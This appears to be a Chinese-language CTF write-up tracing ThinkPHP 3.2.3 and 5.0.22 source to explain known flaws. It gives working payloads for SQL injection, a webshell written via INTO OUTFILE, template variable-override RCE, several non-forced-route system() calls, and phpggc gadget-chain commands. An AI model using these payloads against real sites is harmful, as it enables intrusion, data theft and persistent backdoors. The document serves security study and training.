先输入个 id = 1 试一下,发现会把 options["where"]["id"] = 1,然后进 parseOptions 看一哈。

options["where"] 是数组,所以会进这里。

这个函数大概作用就是根据数据库中的值,检测一些常见的类型,然后给他们强转一哈,这非常不好。
比如本来注入你要搞:id = 1 ' union select xxxxxx ,然后数据库里 id 的类型是 int,这样一下子就给你转成 id = 1 了,这不 gg 了。
那就不让进这个转换的话,只有一个办法就是让 options["where"] 不是数组。
那很简单了。
我们传入 id[where]=1',这样的话直接走那个循环。

让 options['where'] = -1' ,就过掉检测了。

继续跟代码,跟到这个 select

跟进 bulidSelectSql。

跟进 parseSQL。

跟一下看一下,

由于我们 options["where"] 就是一个字符串,所以直接返回掉了。

也就是 WHERE + options["where"] 的内容。
所以说最后的payload:
1
| ?id[where]=id=-1 union select 1,flag4s,3,4 from flags#
|
【TP3.2.3】SQL where()->find 注入
源码:
where("id=".id)。
这里我们进一下 where 。

传个 id=1,可以发现 where 是 string 类那么直接最后 this->options['where'] = array("_string"->"1")。
我们这里认为 数据库里面 id 的值是 varchar,如果是 int 的话,那可能就被强转掉了,没法注入。
这里进一下 find 然后进select,然后一步一步跟到 parseWhere,方法跟上面相同的。

进来之后发现 options["_string"] 特殊处理,进来。
这里的 key = _string,value=1。

这里一看,我去,_string 这个情况直接括号括起来,return 了。
这可好,直接括号闭合突突突。
payload:
1
| ?id=-1) union select 1,flag4s ,3,4 from flags%23
|
源码:
-comment($id)->find(intval($id))。
只能跟一下 comment 了,跟上面 where 其实是一个思路,跟到最后,其实就是 parseComment。

直接闭合就行。
然后发现其实这个 comment 被拼接在 limit 1 之后了。尝试写文件。
payload:
1
| ?id=1*/into outfile "/var/www/html/qwq.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23
|
【TP3.2.3】where()->find 注入2
源码:
1 2 3 4
| $map = array( 'id'=>$_GET["id"] ) $user = M("users")->where($map)->find();
|
这次的话,不是 options["where"] = array("_string"->"1"),直接就是 options["where"] = array("id"->"1")。
然后直接跟,进 parseWhere

进一下 parseWhereItem。

可以发现,我们如果 val 也就是 id 是数组的话,并且 val[0] = exp,可以进这个 exp ,val[1] 当作拼接语句的值。
payload:
1
| ?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
|
【TP 3.2.3】assign 变量覆盖导致 RCE
源码:


看一下,如果 name 不是数组,this->tVar[$name] = $value。
然后我们跟一下 display。

进一下 fetch。

extract 函数的主要作用是:将一个关联数组(键值对)中的键名转换为变量名,并将其对应的值赋给这些变量。
简单来说,它能把一个数组“打散”,变成一个个独立的变量,让你可以直接使用变量名来访问数组的值,而不需要通过 $array['key'] 的方式。
那这不跟下面的 eval 凑一起了?
直接 this->tvar["_content"]=木马,直接打散后执行就行。
payload:
1
| ?name=_content&from=<?php system("cat /f*")?>
|
【TP5.0.22】非强制路由 RCE
跟进 /public/run 函数。

进 routeCheck。

先获取一下 path,然后再 Route::check。
我们可以进一下 path 看一哈。

进 pathinfo。

这里就是读一下,兼容模式配置 ?s= 的是否存在,如果存在就去除掉 / 然后返回。

这里就是看一下有没有强制路由,如果有的话就报错了,如果没有的话继续往下走,走到 parseUrl。

他会先把 / 替换成 |,然后调用 parseUrlPath 进行分割+解析。

走到这里。

最后面 return 掉。然后我们继续回来看。

走这里的 exec。

显然根据上面来看,我们是 module。
跟进 module 方法。
这里面就是进行初始化,调用就行了。
利用条件:服务器没有开启强制路由。
非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。
payload:
1 2 3 4 5
| ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f* //这个调用任意方法 ?s=index/\think\Request/input&filter[]=system&data=tac /f*//这个审过的,input() -> filter(data) ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?> ?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*'); ?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('tac /f*'); ?>
|
phpggc
介绍一款自动化工具,能针对一些常见 php 框架进行漏洞自动化生成。

1 2 3
| ./phpggc ThinkPHP/RCE3 system "cat /flag" --base64 ./phpggc ThinkPHP/FW1 "/var/www/html/shell.php" "/tmp/shell_content" ./phpggc -p phar ThinkPHP/RCE3 system "id" -o payload.phar
|

打通。